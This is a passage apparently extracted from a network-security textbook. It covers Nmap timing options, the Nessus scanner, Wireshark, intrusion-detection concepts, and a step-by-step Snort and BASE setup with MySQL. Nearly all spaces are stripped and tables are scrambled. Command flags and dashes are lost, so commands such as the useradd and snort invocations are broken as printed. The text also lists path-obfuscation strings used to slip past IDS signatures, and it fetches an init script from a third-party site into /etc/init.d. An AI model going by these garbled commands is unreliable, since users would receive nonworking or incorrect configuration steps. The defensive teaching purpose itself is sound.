Thisiswastefulbothintermsofbandwidthandtime,especiallywhenscanninglargeranges. This,however,maybetheonlywaytoscanawellprotectednetworkthatdoesnotrespondto ICMP. NmapTimingOptions Nmapiscapableofspeedinguporslowingdownthefrequencyatwhichitsendsoutitsscan packets.Ifyouareworriedabouttoomuchnetworktraffic,ortryingtobestealthy,youcantone theleveldown.Keepinmindthatthelongeryouspreadthemout,thelongeryourscanwill take.Thiscanincreasescantimesexponentiallyonlargenetworks.Ontheotherhand,ifyou areinahurryanddonotmindsomeextranetworktraffic,youcanturnitup.Thedifferentlevels andpacketfrequenciesaregivenbelow: Frequency Level Paranoid Command Line Parameter F0 Once every 5 Donotusethisoptiononscansofmore minutes thanafewhostsoryourscanwillnever finish Once every 15 seconds Once every 4 seconds As fast as the OS Defaultsetting can handle Same as Normal butthepackettime outisshortenedto5 minutesperhost and 1.25 seconds per probepacket .75 second time Thismethodwillnotworkwellunlessyou PacketFrequency Comments

Sneaky Polite Normal

F1 F2 F3

Aggressive

F4

Insane 94

F5

outperhostand.3 areonaveryfastnetworkandusinga seconds per probe veryfastNmapserver.Youmaystilllose packet dataeventhen Table5.1

VulnerabilityScanners Nessus
Nessusisarobust,welldocumented,wellmaintained,andconsistentlytopratedvulnerability scanner.Itcurrentlyoffersmorethan2,000individualvulnerabilitytests,whichcoverpractically everyareaofpotentialweaknessinsystems;newtestsarecontinuouslyadded.Nessuswas initiallyopensource,butithasnowbecomeclosedsourceafterVersion3.0.Thelatestplugin feedisstillavailableforfreeafterregistration. Itspluginbasedarchitectureallowsnewteststobeaddedeasily.Nessusrunsthefollowinglist oftests:

Backdoors CGIabuses Cisco DenialofService Fingerabuses FTP Gainingashellremotely Gainingrootremotely General Miscellaneous Netware NIS Portscanners Remotefileaccess RPC Settings

95

SMTPproblems SNMP Untested Uselessservices Windows Windows:Usermanagement

ClientServerArchitecture
Nessususesaclientserverarchitecturetorunitssecuritychecks.Theserverrunsthetests, andtheclientconfiguresandcontrolsthesessions.Thefactthattheclientandservercanbe separatedofferssomeuniqueadvantages.Thismeansthatyoucanhaveyourscanningserver outsideyournetwork,yetaccessitfrominsideyournetworkviatheclient.Thisalsoallows otheroperatingsystemstobesupportedviadifferentclients.UNIXandWindowsclientsare currently available, with ongoing projects aiming to create additional clients. A web client interface is also available, whichmakesNessustrulyplatformindependent,atleastonthe clientend.

BuiltinScriptingLanguage
Nessussupplementsitspluginarchitectureusingitsownscriptinglanguage,knownasthe NessusAttackScriptingLanguage(NASL).Thiseasytolearnutilitylanguageallowsyouto quicklyandeasilywriteyourowncustomsecuritypluginswithouthavingtoknowCorallofthe internalworkingsofthemainprogram.

IntegrationwithOtherTools
Nessuscanbeusedonitsown,orwithseveralotheropensourcesecuritytools.Nmapcan portscanpartofthejob,ratherthanitsbuiltinone.TheNessusportscannerisfasterandmore memoryefficient,butNmapoffersmanymoreoptionsandsettings.Nessusalsoworkswith NiktoandWhisker,toolsthatrunmorecomplextestsonwebservers;CGIprograms;and Hydra,atoolforrunningbruteforcepasswordattacksagainstcommonservices.Thetools functionalityiswrittenrightintoNessustomakeconfigurationchangesfromasingleinterface.

96

SmartTesting
Nessuscanbesetupsothatitdoesnotautomaticallyrunallofthevulnerabilitytestsonevery host.Based on the resultsof aportsscan or other inputsuch aspast vulnerability tests, Nessuswillonlyruntestsappropriatetothatmachine.Iftheserverisnotrunningawebserver, itwillnotrunwebserverrelatedtests.Nessusdoesnotautomaticallyassumethatwebservers willrunonport80;itchecksallthepossibleportsforsignsofawebserver.Nessuswilleven findmultipleinstancesofservicesrunningondifferentports.Thisisespeciallyimportantifyou areinadvertentlyrunningawebserverorotherpublicserviceonanunusualport.

KnowledgeBase
NessussavesallscanresultsinadatabaseknownastheKnowledgeBase.Thisallowsitto usetheresultsofpastscanstointelligentlyfigureoutwhichteststorun.Usethistoavoiddoing aportscaneverytimeyourunNessus,becauseitwillrememberwhichportsitfoundopenlast timeoneachhost,andtestonlythoseports.Itcanalsorememberwhichhostsitsawlasttime, andtestonlynewhosts.

InstallingNessusforLinuxSystems
ThetwoprerequisitesforinstallingNessusaretheGimpToolKit(GTK)andlibpcap.Download GTKfromftp://ftp.gimp.org/pub/gtk/v1.2andlibpcapfromwww.tcpdump.org. ThetwoprogramsthatareoptionalbutrecommendedareNmapandOpenSSL.Nessuscan useNmapasitsportscanner,andOpenSSLforsecurecommunicationsbetweentheserver andtheclient. TherearevariouswaysofinstallingNessusonLinuxsystems. UsinganInstallationScript Downloadtheautoinstallscript(nessusinstaller)from http://www.nessus.org/download/index.phpandrunitwiththefollowingcommand: shnessusinstallerx.x.x.sh 97

UsingtheManualMethod DownloadthefollowingfourNessusfilesfromhttp://www.nessus.org/download/index.php. Nessuslibraries:ThecorelibrariesneededtorunNessus. Libnasl:ThemoduleforNASL,thebuiltinscriptinglanguage. Nessuscore:ThemainNessusprogram. Nessusplugins:Thismodulecontainsallthepluginsthatconductsecuritychecks Changeintothenessuslibrariesdirectory(usingthecdcommand),thentypethestandard compilesequenceof: ./configure make makeinstall There may be special instructions at the end of each compilation process. For example, nessuslibrarieswillwanttoyouadd/usr/local/libtoafilecalledld.so.confin/etcandthentype ldconfig.Thisrevisesyourlibrariesdirectoriessothatyouroperatingsystemcanlocateyour specialNessusdirectories.Ensurethatyoufollowtheseinstructionsbeforemovingontothe nextstep. Do the same for libnasl. At the end of compilation, it will want you to make sure that /usr/local/sbinisinyourPATHdirectory.Thisisthestatementthatcontainsapathtolookfor executableseverytimeacommandistyped.Theinstallprogramshoulddoitautomaticallyfor you,butcheckthisbytyping: echo$PATH This prints your PATH statement to the screen. If it does not have /usr/local/sbin and /usr/local/bininthere,additbyeditingthebash.rcfilein/etc(thecorrectpathforMandrake Linuxusingthebashshell).Otherdistributionlocationsmayvaryslightly. 98

Repeatthisprocessfortheothertwomodules. Nessusisnowinstalled. SettingupNessus CreateacertificatethatNessuswilluseforSSLcommunications. 1.Type: nessusmkcert Thisrunsautilitythatcreatesasecurecertificateforyourinstallation.Youcanalsousethird partycertificatessignedbyacertificateauthoritylikeVeriSignwithNessus. Ifyougetafilenotfounderror,ensurethatboth/usr/local/binand/usr/local/sbinareinyour PATHstatement,asdescribedintheinstallationprocedure. Answerthequestionsastheycomeup.Registerthecertificateinyourorganizationsname.If youareunsureaboutwhichvaluestoputin,acceptthedefaultsprovided. 2.CreatesomeuseraccountssothatyoucanlogintoNessus.Becauseoftheclientserver architecture,logintotheserverwiththeclientbeforerunninganyscans.Nessuscanhaveany numberofusers,withrulesforeachuser,whichyoucandesignateinthissetupphase.Ifyou aretheonlypersonusingNessus,setuponeuserwithnorules.YoucanlimittheIPaddresses thatitcanlogonfrom.Ifyouhavemultipleusers,thisfunctionalitycanhelpyoutrackwhois usingyourNessusserver. Createanewuser.Type: nessusadduser Thisguidesyouincreatinganewuseraccount. 3.Runthiscommandeachtimeyouneedtocreateanewuser.Setupatleastoneuserin 99

ordertobeabletouseNessus. RunNessus: 1.MakesureyouarerunningXWindows(thegraphicalenvironment)andstartupashell. 2.Fromthecommandline,type: nessusd& ThisstartstheNessusserverprocess.The&(ampersand)indicatestoruntheprograminthe backgroundsoyoucantypeanothercommand. 3.Type: Nessus ThisstartsNessusclientportionanddisplaysthegraphicalinterface. YouarenowreadytostartusingNessus. NessusLoginPage ThefirstthingyouwillseeistheloginpageforNessus(seeFigure5.1).Becauseoftheclient serverarchitecture,youmustfirstlogintoaNessusserverbeforeyoucanbeginusingNessus. Ifyourunboththeclientandtheserveronthesamemachine,thecorrectloginparametersare: Server:Localhost Port:1241 Login:TheloginyoucreatedwhenyousetupNessus Password:ThepasswordyoucreatedwhenyousetupNessus You can also run the client on a machine separate from the server. In this case, replace localhostwiththeIPaddressorhostnameofyourNessusserver.Thisgivesyoutheabilityto loginfromhomeandaccesstheNessusserversatworksoyoucanstartscanslateatnight.Or youmayhaveyourNessusserverinadatacenter,whereithasaccesstolotsofbandwidth, 100

andneedtoaccessitfromyourdeskinsideyourfirewall.ThisflexibilitygivesNessusamajor advantageoveritscompetitors,andincreasesitsscalabilityforlargerorganizations. PerformotherlocalfunctionsontheclientwithoutloggingintoaNessusserver.Youcanbring upscansrunpreviouslytoviewandmanipulatethem.Youcanconfigurethescanoptions,but you cannot access the plugins or preferences section without first logging into a server becausetheyaresavedontheserverside.

NetworkSniffers
Networksnifferslistento,orsniff,packetsonaspecifiedphysicalnetworksegment.Ithelps network administrators analyze traffic patterns, troubleshoot specific problems, and spot suspiciousbehavior.ANetworkIntrusionDetectionSystem(NIDS)isactuallyasophisticated snifferthatcompareseachpacketonthewiretoadatabaseofknownbadtraffic.Thisissimilar towhatanantivirusprogramdoeswithfilesonyourcomputer. Commercialgrade sniffers are available from manufacturers such as Fluke, and Network General,etc.Thesededicatedhardwaredevicescancosttensofthousandsofdollars.They provideamuchdeeperlevelofanalysis,butyoucanalsobuildaninexpensivenetworksniffer usingopensourcesoftwareandalowendIntelPC.

Wireshark
Formerly known as Ethereal, Wireshark has a userfriendly graphical interface, with many analyticalandstatisticaloptions.SomeofWiresharksstrengthsinclude: Cleaner output format: The output is much easier to read and understand than Tcpdumpsrawpacketcaptures. Supports many more protocol formats: Wireshark can interpret over 300 different networkprotocols,whichcoversjustabouteverynetworktypeeverinvented.

Supportsmorephysicalnetworkformats:Thisincludesnewerprotocols,suchasIP,over ATMandFDDI.

101

Interactivelybrowseandsortcapturednetworkdata. Saveoutputinplaintext,orinPostScriptformat. Arichdisplayfiltermode:Thisincludesanabilitytohighlightcertainpacketsincolor.A filtercreationGUIhelpsyoucreatefilterseasily. TheabilitytofollowaTCPstreamandviewthecontentinASCII:Readinterserver messagestotrackdownemailorwebproblems,andfollowtheconversationbetween communicatingnodes.

InstallingWiresharkforLinux The two prerequisites for installing Wireshark include the libpcap libraries and the GTK developmentlibraries. Downloadandunpackthelatestdistributionsdefaultinstallation.AccesstheINSTALL filetosetadditionalcompiletimeparameters. Changetotheinstalldirectoryandtype:

./configure make makeinstall TypewiresharkonthecommandprompttorunWireshark.

102

OpenSourceIntrusionDetectionSystems(IDS)
AnIntrusionDetectionSystem(IDS)monitorsnetworktraffic,andalertsthesystemornetwork administratorifitdetectsanysuspiciousactivity.Insomecases,theIDSmayalsorespondto anomalousormalicioustrafficbytakingaction,suchasblockingtheuserorsourceIPaddress fromaccessingthenetwork. AnIDScomesinavarietyofflavors,andapproachesthegoalofdetectingsuspicioustrafficin different ways. There are networkbased (NIDS) and hostbased (HIDS) intrusion detection systems.ThereareIDSthatdetectbasedonlookingforspecificsignaturesofknownthreats similartothewayantivirussoftwaretypicallydetectsandprotectsagainstmalwareandthere areIDS thatdetect basedoncomparing trafficpatternsagainstabaseline andlookingfor anomalies.Somesimplymonitorandalert,andothersperformanactionoractionsinresponse toadetectedthreat.Eachwillbediscussedbriefly.

NetworkbasedIntrusionDetectionSystems(NIDS)
AnetworkbasedIDSisplacedatastrategicpointorpointswithinthenetworktomonitortraffic toandfromalldevicesonthenetwork.Youwouldideallyscanallinboundandoutboundtraffic. Doingso,however,mightcreateabottleneckthatimpairsthenetworksoverallspeed.

HostbasedIntrusionDetectionSystems(HIDS)
AhostbasedIDSrunsonindividualhostsordevicesonthenetwork.AHIDSmonitorsthe inboundandoutboundpacketsfromthedeviceonly,andalertstheuseroradministratorifany suspiciousactivityisdetected.

SignaturebasedIntrusionDetectionSystems
A signaturebased IDS will monitor packets on the network, and compare them against a databaseofsignaturesorattributesfromknownmaliciousthreats.Thisissimilartotheway mostantivirussoftwaredetectsmalware.Theissueisthattherewillbeatimelagbetweena newthreatbeingdiscoveredinthewild,andthesignaturefordetectingthatthreatbeingapplied toyourIDS,whichwillbeunabletodetectanynewthreatduringthattimelag.

AnomalybasedIntrusionDetectionSystems
An anomalybased IDS monitors network traffic and compares it against an established baseline.Thebaselinewillidentifywhatisnormalforthatnetworkwhatsortofbandwidthis generallyused,whatprotocolsareused,whichportsanddevicesgenerallyconnecttoeach 103

otherandalertstheadministratororuserwhentraffic,whichisanomalous,orsignificantly differentthanthebaseline,isdetected.

Snort
Snortusesrulesstoredintextfilesthatcanbemodifiedbyatexteditor.Rulesaregroupedin categories.Rulesbelongingtoeachcategoryarestoredinseparatefiles.Thesefilesarethen includedinamainconfigurationfilecalledsnort.conf.Snortreadstheserulesatthestartup timeandbuildsinternaldatastructuresorchainstoapplytheserulestocaptureddata.Finding signaturesandusingtheminrulesisatrickyjob,sincethemorerulesyouuse,themore processingpowerisrequiredtoprocesscaptureddatainrealtime.Itisimportanttoimplement asmanysignaturesasyoucanusingasfewrulesaspossible.Snortcomeswitharichsetof predefinedrulestodetectintrusionactivityandyouarefreetoaddyourownrulesatwill.You canalsoremovesomeofthebuiltinrulestoavoidfalsealarms.

WhereIDSshouldbeplacedinNetworkTopology
Youmaywanttopositionintrusiondetectionsystemsatoneormoreplaces,dependingonyour networktopology.Italsodependsuponwhattypeofintrusionactivitiesyouwanttodetect: internal,externalorboth.If,forexample,youonlywanttodetectexternalintrusionactivities, and you have only one router connecting to the Internet, the best place for an intrusion detectionsystemmaybejustinsidetherouterorafirewall.Ifyouhavemultiplepathstothe Internet,youmaywanttoplaceoneIDSboxateveryentrypoint.If,however,youwantto detectinternalthreatsaswell,youmaywanttoplaceaboxineverynetworksegment. Inmanycases,youdonotneedtohaveintrusiondetectionactivityinallnetworksegments, andyoumaywanttolimititonlytosensitivenetworkareas.Notethatmoreintrusiondetection systemsmeanmoreworkandmoremaintenancecosts.Yourdecisionreallydependsupon yoursecuritypolicy,whichdefineswhatyoureallywanttoprotectfromhackers.

SnortsComponents
Snortislogicallydividedintomultiplecomponents.Thesecomponentsworktogethertodetect particularattacks,andtogenerateoutputinarequiredformatfromthedetectionsystem.A SnortbasedIDSconsistsofthefollowingmajorcomponents:

104

PacketDecoder Preprocessors DetectionEngine LoggingandAlertingSystem OutputModules FigureNo. shows howthese componentsare arranged.Any data packetcomingfrom the Internetentersthepacketdecoder.Itiseitherdropped,logged,oranalertisgeneratedonits waytowardstheoutputmodules:

Thesecomponentsarebrieflyintroducedbelow:

PacketDecoder
Thepacketdecodertakespacketsfromdifferenttypesofnetworkinterfacesandpreparesthe packets to be preprocessed or to be sent to the detection engine. The interfaces may be Ethernet,SLIP,PPPandsoon.

105

Preprocessors
PreprocessorsarecomponentsorpluginsthatcanbeusedwithSnorttoarrangeormodify datapacketsbeforethedetectionengineperformssomeoperationtofindoutifanintruderis usingthepacket.Somepreprocessorsalsoperformdetectionbyfindinganomaliesinpacket headers,andgeneratingalerts.PreprocessorsareveryimportantforanyIDStopreparedata packetstobeanalyzedagainstrulesinthedetectionengine.Hackersusedifferenttechniques tofoolanIDSindifferentways.Youmay,forexample,havecreatedaruletofindasignature scripts/iisadmininHTTPpackets.Ifyoumatchthisstringexactly,youcanbeeasilyfooledby ahackerwhoslightlymodifiesthisstring.Forexample: scripts/./iisadmin scripts/examples/../iisadmin scripts\iisadmin scripts/.\iisadmin Tocomplicatethesituation,hackerscanalsoinsertinthewebUniformResourceIdentifier (URI)hexadecimalcharactersorUnicodecharacters,whichareperfectlylegalasfarasthe webserverisconcerned.Notethatwebserversusuallyunderstandallofthesestrings,andare able to preprocess them to extract the intended string scripts/iisadmin. If, however, an intrusiondetectionsystemislookingforanexactmatch,itwillbeunabletodetectthisattack.A preprocessorcanrearrangethestringsothatanIDScandetectit. Preprocessors are also used for packet defragmentation. When a large data chunk is transferredtoahost,thepacketisusuallyfragmented.Forexample,thedefaultmaximum lengthofanydatapacketonanEthernetnetworkisusually1500bytes.Thisvalueiscontrolled bytheMaximumTransferUnit(MTU)valueforthenetworkinterface.Thismeansthatifyou senddatawhichismorethan1500bytes,itwillbesplitintomultipledatapacketssothateach packetfragmentislessthan,orequalto,1500bytes.Thereceivingsystemsarecapableof reassemblingthesesmallerunitsagaintoformtheoriginaldatapacket.OnIDS,youhaveto reassemblethepacketbeforeyouapplyanyrulesortrytofindasignature.Forexample,halfof thesignaturemaybepresentinonesegment,andtheotherhalfinanothersegment.Youhave to combine all packet segments in order to detect the signature correctly. Hackers use fragmentationtodefeatIDS. Preprocessorsguardagainsttheseattacks.PreprocessorsinSnortcandefragmentpackets, 106

decodeHTTPURI,reassembleTCPstreams,andsoon.Thesefunctionsformaveryintegral partofanintrusiondetectionsystem.

TheDetectionEngine
ThedetectionengineisSnortsmostimportantcomponent.Itdetectsintrusionactivityina packet.ThedetectionengineemploysSnortrulesforthispurpose.Therulesarereadinto internaldatastructuresor chains,wheretheyare matchedagainstallpackets.Ifapacket matchesanyrule,appropriateactionistaken;otherwise,thepacketisdropped.Appropriate actionsmayincludeloggingthepacket,orgeneratingalerts. ThedetectionengineisSnortstimecriticalcomponent.Itmaytakedifferentamountsoftimeto respondtodifferentpackets,dependingonhowpowerfulyourmachineis,andhowmanyrules youhavedefined.IftrafficonyournetworkistoohighwhenSnortisworkinginNIDSmode, youmaydropsomepackets,andmaynotgetatruerealtimeresponse.Theloadonthe detectionenginedependsonthefollowingfactors: Numberofrules PowerofthemachineonwhichSnortisrunning SpeedofinternalbususedintheSnortmachine Loadonthenetwork KeepallthesefactorsinmindwhendesigningaNIDS. Notethatthedetectionsystemcandissectapacketandapplyrulesondifferentpartsofthe packet.Thesepartsmaybe: ThepacketsIPheader Thetransportlayerheader:ThisheaderincludesTCP,UDPorothertransportlayer headers.ItmayalsoworkontheICMPheader Theapplicationlayerlevelheader.Applicationlayerheadersinclude,butarenotlimited to,aDNSheader,FTPheader,SNMPheader,andSMTPheader.Youmayhavetouse someindirectmethodsforapplicationlayerheaders,likeoffsetofdatatobelookedfor Packetpayload.Thismeansthatyoucancreatearulethatisusedbythedetection enginetofindastringinsidethedatathatispresentinsidethepacket

107

ThedetectionengineworksindifferentwaysfordifferentversionsofSnort.Inall1.xversions, thedetectionenginestopsfurtherprocessingofapacketwhenaruleismatched.Depending upon the rule, the detection engine takes appropriate action, by logging the packet or generatinganalert.Thismeansthatifapacketmatchescriteriadefinedinmultiplerules,only thefirstruleisappliedtothepacketwithoutlookingforothermatches.Thisisfine,exceptfor oneproblem.Alowpriorityrulegeneratesalowpriorityalert,evenifahighpriorityrulemeriting ahighpriorityalertislocatedlaterintherulechain.ThisproblemisrectifiedinSnortsVersion 2.0,whereallrulesarematchedagainstapacketbeforegeneratinganalert.Aftermatchingall rules,thehighestpriorityruleisselectedtogenerateanalert.ThedetectionengineinSnort version2.0iscompletelyrewrittensothatitisalotfastercomparedtodetectioninearlier versionsofSnort.

LoggingandAlertingSystem
Dependinguponwhatthedetectionenginefindsinsideapacket,thepacketmaybeusedtolog theactivityorgenerateanalert.Logsarekeptinsimpletextfiles,tcpdumpstylefilesorsome otherform.Allofthelogfilesarestoredunder/var/log/snortfolderbydefault.Youcanusel commandlineoptionstomodifythelocationofgeneratinglogsandalerts.

OutputModules
Outputmodulesorpluginscanperformdifferentoperations,dependingonhowyouwantto savetheoutputgeneratedbySnortsloggingandalertingsystem.Thesemodulesbasically controlthetypeofoutputgeneratedbytheloggingandalertingsystem.Dependingonthe configuration,outputmodulescantakethefollowingaction: Simplylogto/var/log/snort/alertsfileorsomeotherfile SendSNMPtraps Sendmessagestosyslogfacility Logtoadatabase,suchasMySQLorOracle GenerateeXtensibleMarkupLanguage(XML)output Modifyconfigurationonroutersandfirewalls SendServerMessageBlock(SMB)messagestoMicrosoftWindowsbasedmachines

Othertoolscanalsobeusedtosendalertsinotherformats,suchasemailmessages,or viewingalertsusingawebinterface. 108

Thefollowingtablesummarizesanintrusiondetectionsystemsdifferentcomponents: Name PacketDecoder Preprocessors InputPlugins Description Preparespacketsforprocessing or Usedtonormalizeprotocolheaders,detectanomalies,packetre assemblyandTCPstreamreassembly Appliesrulestopackets

DetectionEngine

Logging and Alerting Generatesalertandlogmessages System OutputModules Table6.1 Processesalertsandlogsandgeneratefinaloutput

ProtectingIDS
Protectingthesystemonwhichtheintrusiondetectionsoftwareisrunningisveryimportant.If itssecurityiscompromised,youmighteitherstartreceivingfalsealarms,ornoneatall.An intrudermaydisableIDSbeforeactuallyperforminganyattack.Therearedifferentwaysto protect your system, starting from very general recommendations to some sophisticated methods.Someareoutlinedbelow: Networkserversarethemostcommonmethodofexploitingasystem.Donottorunany serviceonyourIDSsensoritself Vendorsdiscovernewthreatsandreleasenewpatches,whichisanalmostcontinuous andnonstopprocess.TheplatformonwhichyouarerunningIDSshouldbepatched withyourvendorslatestreleases ConfiguretheIDSmachinesothatitdoesnotrespondtoping(ICMPechotype)packets IfyourunSnortonaLinuxmachine,usenetfilter/iptabletoblockanyunwanteddata. Snortwillstillbeabletoseeallofthedata UseIDSonlyforintrusiondetection.Donotuseitforotheractivities,anddonotcreate useraccountsonitunlessabsolutelynecessary

Inadditiontothesecommonmeasures,Snortcanbeusedinspecialcasesaswell.Usethe followingtwospecialtechniquestoprotectSnortfromattacks: 109

SnortonaStealthInterface
RunSnortonastealthinterface,whichonlylistenstotheincomingtraffic,butdoesnotsend anydatapacketsout.Aspecialcableisusedonthestealthinterface.ShortpinNo.1and2on thehostwhereSnortisrunning.Pins3and6connecttotheircorrespondingpinsontheother side.

SnortwithnoIPAddressInterface
UseSnortonaninterfacewherenoIPaddressisassigned.OnaLinuxmachine,forexample, youcanbringupinterfaceeth0usingthecommandifconfigeth0upwithoutassigningan actualIPaddress.NobodycanaccessitwhentheSnorthostdoesnothaveanIPaddress itself.ConfigureanIPaddressoneth1whichcanbeusedtoaccessthesensoritself.

SnortInstallation
InstallSnortonRedHat cd/root mkdirsnortinstall wgethttp://www.snort.org/dl/current/snort2.6.0.tar.gz tarxvzfsnort2.6.0.tar.gz cdsnort2.6.0 ./configurewithmysqlenabledynamicplugin make makeinstall groupaddsnort useraddgsnortsnorts/sbin/nologin Then: mkdir/etc/snort 110

mkdir/etc/snort/rules mkdir/var/log/snort cdetc/(makenotthisisnot/etc.itistheetcdirunderthesnortsourcecode) cp*/etc/snort Fromyour/root/snortinstalldir(cd/root/snortinstallusepwdtocheckwhereyouare): wgethttp://www.snort.org/pubbin/downloads.cgi/Download/vrt_pr/snortrulespr 2.4.tar.gz Thentarxvzfsnortrulespr2.4.tar.gz cdtotherulesdirandgivethefollowingcommand: cp*/etc/snort/rules Modifyyoursnort.conffile Thesnort.conffileislocatedin/etc/snort.Makethefollowingchanges: varHOME_NET10.0.0.0/24 varEXTERNAL_NET!$HOME_NET(thismeanseverythingthatisnotyourhomenet isexternaltoyournetwork) changevarRULE_PATH../rulestovarRULE_PATH/etc/snort/rules Afterthelinethatsayspreprocessorstream4_reassembleaddalinethatlookslike preprocessorstream4_reassemble:both,ports2123255380110111139143445513 1433(withoutthequotes) TellSnorttologtoMySQL Godowntotheoutputsectionanduncommentthefollowingline.Changeitaccordingtothe following,exceptthepassword.RememberitbecauseyouwillneeditlatertosetuptheSnort userinMySQL: outputdatabase:log,mysql,user=snortpassword=<thepasswordyougaveit> 111

dbname=snorthost=localhost MakeSnortstartwiththesystem Changedirectoryto/etc/init.dandtype: wgethttp://internetsecurityguru.com/snortinit/snort chmod755snort chkconfigsnorton SetupthedatabaseinMySQL: mysql mysql>SETPASSWORDFORroot@localhost=PASSWORD('password'); >QueryOK,0rowsaffected(0.25sec) mysql>createdatabasesnort; >QueryOK,1rowaffected(0.01sec) mysql>grantINSERT,SELECTonroot.*tosnort@localhost; >QueryOK,0rowsaffected(0.02sec) mysql>SETPASSWORDFORsnort@localhost=PASSWORD('password_from_snort.conf'); >QueryOK,0rowsaffected(0.25sec) mysql>grantCREATE,INSERT,SELECT,DELETE,UPDATEonsnort.*tosnort@localhost; >QueryOK,0rowsaffected(0.02sec) mysql>grantCREATE,INSERT,SELECT,DELETE,UPDATEonsnort.*tosnort; >QueryOK,0rowsaffected(0.02sec) mysql>exit >Bye Executethefollowingcommandstocreatethetables: mysqlurootp<~/snortinstall/snort2.6.0/schemas/create_mysqlsnort Enterpassword:theMySQLrootpassword ChecktoensurethattheSnortDBwascreatedcorrectly:

112

mysqlp >Enterpassword: mysql>SHOWDATABASES; Youshouldseethefollowing: ++ |Database ++ |mysql |Snort |test ++ 3rowsinset(0.00sec) mysql>usesnort >Databasechanged mysql>SHOWTABLES; ++ |Tables_in_snort ++ |data |detail |encoding |event |icmphdr |iphdr |opt |reference |reference_system |schema |sensor |sig_class |sig_reference |signature |tcphdr 113

|udphdr ++ 16rowsinset(0.00sec) exit; BASEInstall GotoyourSnortdownloaddirectory(cd/root/snortinstall).Forpropergraphing,Enter: pearinstallImage_GraphalphaImage_CanvasalphaImage_ColorNumbers_Roman DownloadADODB: wgethttp://easynews.dl.sourceforge.net/sourceforge/adodb/adodb480.tgz DownloadBASE: wgethttp://easynews.dl.sourceforge.net/sourceforge/secureideas/base1.2.6.tar.gz InstallADODB: cd/var/www/ tarxvzf/root/snortinstall/adodb480.tgz InstallandconfigureBASE: cd/var/www/html tarxvzf/root/snortinstall/base1.2.6.tar.gz mvbase1.2.6/base/(thisrenamesthebase1.2.5directorytojustbase) Copythebase_conf.php.disttobase_conf.php Editthebase_conf.phpfileandinsertthefollowingperimeters: $BASE_urlpath="/base"; $DBlib_path="/var/www/adodb/"; 114

$DBtype="mysql"; $alert_dbname="snort"; $alert_host="localhost"; $alert_port=""; $alert_user="snort"; $alert_password="password_from_snort_conf"; /*ArchiveDBconnectionparameters*/ $archive_exists=0;#Setthisto1ifyouhaveanarchiveDB Opentoabrowserandaccessyoursensor: https://ip_address/baseandanswerthequestions. NowchkconfigsnortontomakeSnortstartwiththesystem,thentypeservicesnortstart.It shouldgiveyouanOKpsef|grepsnort.confwilltellyouifitisrunningornot: https://<ip.address>/base ThiswillbringuptheinitialBASEstartupbanner. SecuretheBASEdirectory: mkdir/var/www/passwords /usr/bin/htpasswdc/var/www/passwords/passwordsbase (basewillbetheusernameyouwillusetogetintothisdirectory,alongwiththepasswordyou choose) Itwillaskyoutoenterthepasswordyouwantforthisuser.Typethefollowingtoviewyour BASEpage: Editthehttpd.conf(/etc/httpd/conf).Thefollowingexampleputsitunderthesectionthathas: <Directory/> OptionsFollowSymLinks AllowOverrideNone 115

</Directory> AddthefollowinglinestopasswordprotecttheBASEconsole.Addittothehttpd.conffilein /etc/httpd/conf/: <Directory"/var/www/html/base"> AuthTypeBasic AuthName"SnortIDS" AuthUserFile/var/www/passwords/passwords Requireuserbase </Directory> Sinceyouhaveremovedtheport80entryintheiptablesscriptyouwillhavetogotothe consoleonport443,usingHTTPS:/<ip_address>/base Savethefile,andrestartApachebytypingservicehttpdrestarttomakethepassword changeseffective. GettingStarted Beforeweproceed,thereareafewbasicconceptsyoushouldunderstandaboutSnort.Snort canbeconguredtoruninvariousmodes:

Sniffermode:Readsthepacketsoffofthenetworkanddisplaystheminacontinuous streamontheconsole(screen). PacketLoggermode:Logsthepacketstoadisk. Network Intrusion Detection System (NIDS) mode: The most complex conguration, whichallowsSnorttoanalyzenetworktrafficformatchesagainstauserdenedruleset, andperformsseveralactionsbaseduponwhatitsees. Inlinemode:Obtainspacketsfromiptablesinsteadoffromlibpcap,andthencauses iptablestodroporpasspacketsbasedonSnortrulesthatuseinlinespecicruletypes

116

SnifferMode ToprintouttheTCP/IPpacketheaderstothescreen(i.e.sniffermode),type: ./snortv ThiscommandwillrunSnortandonlyshowtheIPandTCP/UDP/ICMPheaders,andnothing else.Toseetheapplicationdataintransit,type: ./snortvd This instructs Snorttodisplay the packetdata as well as the headers. For an even more descriptivedisplay,showingthedatalinklayerheaders,type: ./snortvde Theseswitchesmaybedivideduporsmashedtogetherinanycombination.Thelastcommand canalsobetypedoutasfollows: ./snortdve anditwillperformthesamefunction PacketLoggerMode Torecordthepacketstothedisk,specifyaloggingdirectory,andSnortwillautomaticallygo intopacketloggermode: ./snortdevl./log Ofcourse,thisassumesyouhaveadirectorynamedloginthecurrentdirectory.Ifnot,Snort willexitwithanerrormessage.WhenSnortrunsinthismode,itcollectseverypacketitsees andplacesitinadirectoryhierarchybasedupontheIPaddressofoneofthehostsinthe datagram. Ifyoujustspecifyaplainlswitch,youmaynoticethatsometimesSnortusestheaddressof 117

theremotecomputerasthedirectoryinwhichitplacespackets,andsometimesitusesthe localhostaddress.Inordertologrelativetothehomenetwork,specifywhichnetworkisthe homenetwork: ./snortdevl./logh192.168.1.0/24 ThisruletellsSnortthatyouwanttoprintoutthedatalinkandTCP/IPheadersaswellas application data into the directory ./log, and you want to log the packets relative to the 192.168.1.0classCnetwork.Allincomingpacketswillberecordedintosubdirectoriesofthelog directory,withthedirectorynamesbeingbasedontheaddressoftheremote(non192.168.1) host. Ifyouareonahighspeednetwork,orwanttologthepacketsintoamorecompactformfor analysis later, consider logging in binary mode. Binary mode logs the packets in tcpdump formattoasinglebinaryleintheloggingdirectory: ./snortl./logb Notethecommandlinechangeshere.Thereisnoneedtospecifyahomenetworkanymore, becausebinarymodelogseverythingintoasinglefile,whicheliminatestheneedtotellithow toformattheoutputdirectorystructure. Thereisalsononeedtoruninverbosemodeorspecifythedoreswitchesbecausethe entirepacketisloggedinbinarymode,notjustsectionsofit. NetworkIntrusionDetectionSystem(NIDS)Mode InordertoenableNetworkIntrusionDetectionSystem(NIDS)modesothatyoudonotrecord everysinglepacketsentdownthewire,type: ./snortdevl./logh192.168.1.0/24csnort.conf where snort.conf is the name of your rules le. This will apply the rules congured in the snort.confletoeachpackettodecideifanactionbasedupontheruletypeintheleshouldbe taken.Ifyoudonotspecifyanoutputdirectoryfortheprogram,itwilldefaultto/var/log/snort.

118

